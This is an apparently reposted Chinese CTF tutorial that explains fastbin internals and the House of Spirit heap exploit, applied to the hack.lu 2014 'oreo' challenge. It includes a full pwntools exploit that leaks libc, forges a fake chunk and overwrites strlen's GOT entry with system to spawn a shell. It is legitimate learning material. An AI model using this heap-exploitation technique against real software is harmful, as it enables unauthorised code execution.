Linux 二进制漏洞挖掘入门系列之（七）堆溢出: House of Spirit

本文主要是介绍Linux 二进制漏洞挖掘入门系列之（七）堆溢出: House of Spirit，希望对大家解决编程问题提供一定的参考价值，需要的开发者们随着小编来一起学习吧！

0x10 基础知识

关于 bin 的一些特点

• malloc 返回值，指向 chunk 的 user data

• 每个 bin 采取 LIFO 策略，最近被释放的 chunk 优先被再次使用

关于 fastbin 的一些特点

案例

int main(void)
{void *chunk1,*chunk2,*chunk3;chunk1=malloc(0x30);chunk2=malloc(0x30);chunk3=malloc(0x30);//进行释放free(chunk1);free(chunk2);free(chunk3);return 0;
}

第一次 free

fastbin(fd) -> chunk1

第二次 free

fastbin(fd) -> chunk2 -> chunk1 

全部释放后，chunk1、chunk2、chunk3 数据结构中的 fd 指针（指向下一个相邻 chunk）如下

fastbin(fd) -> chunk3 -> chunk2 -> chunk1

fastbin 中的 chunk 并没有使用 bk，这也从侧面说明 fastbin 使用单链表来维护和释放堆块的。且 fastbin 中的 next chunk 的 previous chunk 位不会被清空。

0x20 2014 hack.lu oreo

题目链接

0x21 程序分析

简单分析，运行程序并结合反编译的代码

1. Add new rifle

   sub_8048644()，添加一把枪，用户输入的 name 存在堆溢出，可以覆盖下一个 chunkdesc       name          previous┌──────────┬──────────────┬──┐│          │              │  │└──────────┴──────────────┴──┘
   addr       +25            +52转换成结构体，其实就是
   struct Rifle{char desc[25];char name[27];char *previous;
   }
   

2. Show added rifles

   sub_8048729()，打印所有添加的抢的名字和描述（倒叙）
   

3. Order selected rifles

   sub_8048810()，循环释放步骤1 每一个申请的 chunk
   

4. Leave a Message with your Order

   sub_80487B4(), 将输入的消息存放至全局变量 dword_804A2A8，而该变量指向的地址空间就是相邻的下一个存储空间.bss:0804A2A8 dword_804A2A8   dd ?                    ; DATA XREF: sub_80487B4+23↑r
   .bss:0804A2A8                                         ; sub_80487B4+3C↑r ...
   .bss:0804A2AC                 align 20h
   .bss:0804A2C0 unk_804A2C0     db    ? ;               ; DATA XREF: main+29↑o
   .bss:0804A2C1                 db    ? ;
   .bss:0804A2C2                 db    ? ;
   .bss:0804A2C3                 db    ? ;
   

5. Show current stats

   sub_8048906()，打印 rifle 的 count/order_count/word_804A2A8，即数量、订购数量、订购留言
   

6. Exit!

很明显，add_rifle 申请的 chunk 存在溢出，chunk 的地址又可以被覆盖，且会被 select_rifle 释放。因此可以实现释放任意地址空间，这个地址空间就是我们需要伪造的 fastbin chunk。释放伪造的 chunk，这就是 House of Spirit 的核心。释放之后再次申请相同大小的内存，那么就会分配想要的地址。

根据 free 函数的源码，伪造的 chunk 应该满足以下条件，才会被放入 fastbin

• ISMMAP 位不能为 1，即不能使 mmap 函数申请的内存，否则会被单独处理
• 地址对齐，这是基本要求
• 大小在 fastbin 范围之内
• fake chunk 对应的 fastbin 链表头部不能是该 fake chunk，即不能构成 double free
• 下一个 chunk 的 size 在 bin 上

House of Spirit 的目标是实现任意地址写。

0x22 漏洞利用

1 控制 rifle->previous，泄露 libc

需要注意的两点

• 在这个程序中，没有使用 setvbuf 设置输出缓冲，在遇到 printf 打印没有 '\n’的字符串时，可能不会输出到终端
• 注意偏移的计算，previous 指针的偏移，IDA 反编译的代码 *((_DWORD *)rifle + 13) = v1; 应该是 13 * 4 = 0x34，这一点从汇编代码也能看出来 mov [eax+34h], edx

# 1.leak libc
add_rifle(b'a' * 27 + p32(pwn_elf.got["printf"]), b'b' * 25)
show_rifle()
io.recvuntil(b"===================================\n")
io.recvuntil(b"===================================\n")
io.recvuntil(b"Description: ")
printf_addr = u32(io.recv(4))
print("printf_addr: " + hex(printf_addr))
libc_base = printf_addr - libc_elf.sym["printf"]
print("libc_base: " + hex(libc_base))

2 伪造 chunk，实现任意地址写

dword_804A2A8 = (char *)&unk_804A2C0;，这是选项 4 能够写入的用户订单留言信息，如果我们能够控制 dword_804A2A8 的值，就可以实现任意地址写

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Sa3bUfkd-1625744375664)(fake_chunk_addr.png)]

所以现在的思路就是利用堆溢出，修改 previous 指针，指向 0x0804A2A8（地址刚好已经对齐），这个地址就是我们需要伪造的 chunk。

对于 fake chunk 的布局，以绕过 free 函数的检查

• fake chunk size = count，为了和 malloc(0x38) 保持一致可以设置为 0x41（也可以设置成其他值，当然大小要在 fastbin 范围内，且最后一位为 1）

  add_file() 一共运行 0x41 次即可

• 下一个 chunk size 的 IN_USE = 1

  需要计算偏移量，这里注意偏移：0x0804A2A8 + (0x40 - 0x8 + 0x4) - 0x0804A2C0，刚好没有使用 chunk 的空间复用！

• fake chunk 的 previous 应该指向 Null，否则会继续 free 一个不存在的地址空间

  *(0x0804A2A8 + 0x34 - 0x0804A2C0) = 0x00

代码如下

# house of spirit
for i in range(0x41 - 0x2):add_rifle(b'a', b'b')add_rifle(b'a' * 27 + p32(0x0804A2A8), b'b' * 25)offset = 0x0804A2A8 + (0x40 - 0x8 + 0x4) - 0x0804A2C0
leave_msg(b'\x00' * offset + p32(0x41))	# \x00 是为了满足 fake chunk 没有后续的 chunk！
order_rifle()							# free
add_rifle()								# malloc,实现任意地址写
leave_msg()

3 覆盖 GOT 表

got.plt 节有几个函数，选择的函数应该符合入参可控

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-8NryBnnU-1625744375666)(got.png)]

我们发现 strlen() 刚好是 leave_msg() 的 msg，因此，在修改 got 表同时，也传入了入参

add_rifle(b'a', p32(pwn_elf.got["strlen"]))			# malloc
leave_msg(p32(libc_elf.sym["system"]) + b";/bin/sh")

相当于执行了 system(p32(libc_elf.sym["system"]), ';/bin/sh')

0x30 总结

本次例题漏洞点在于堆溢出可修改 chunk 地址，实现 free 任意地址的 chunk（前提是这个地址的前后部分我们能够控制，达到 free 检查），这样再次申请，可以得到我们伪造的 chunk。fake chunk 的空间指向的地址，如果能够被修改，即可实现任意地址写。

堆的利用方式千变万化，House of Spirit 只是其中的一种（Fastbin attack），通过伪造的 fake chunk，可以实现任意地址写的目的，进而覆盖 GOT 表的函数地址。

exp

from pwn import *def add_rifle(name, desc):io.sendline(b"1")io.sendline(name)io.sendline(desc)def show_rifle():io.sendline(b"2")def order_rifle():io.sendline(b"3")def leave_msg(msg):io.sendline(b"4")io.sendline(msg)context(log_level="debug", os="Linux", arch="i386")
pwn_elf = ELF("./oreo")
libc_elf = ELF("/lib32/libc.so.6")
io = process("./oreo")
gdb.attach(io, "b free")
io.recv()# 1.leak libc
add_rifle(b'a' * 27 + p32(pwn_elf.got["printf"]), b'b' * 25)
show_rifle()
io.recvuntil(b"===================================\n")
io.recvuntil(b"===================================\n")
io.recvuntil(b"Description: ")
printf_addr = u32(io.recv(4))
print("printf_addr: " + hex(printf_addr))
libc_base = printf_addr - libc_elf.sym["printf"]
print("libc_base: " + hex(libc_base))# house of spirit
for i in range(0x41 - 0x2):add_rifle(b'a', b'b')
add_rifle(b'a' * 27 + p32(0x0804A2A8), b'b' * 25)# fake chunk
offset = 0x0804A2A8 + (0x40 - 0x8 + 0x4) - 0x0804A2C0
leave_msg(b'\x00' * offset + p32(0x41))
order_rifle()		# free
#io.recv()# GOT
add_rifle(b'a', p32(pwn_elf.got["strlen"]))			# mallocleave_msg(p32(libc_base + libc_elf.sym["system"]) + b";/bin/sh")
io.recv()
io.interactive()

这篇关于Linux 二进制漏洞挖掘入门系列之（七）堆溢出: House of Spirit的文章就介绍到这儿，希望我们推荐的文章对编程师们有所帮助！

---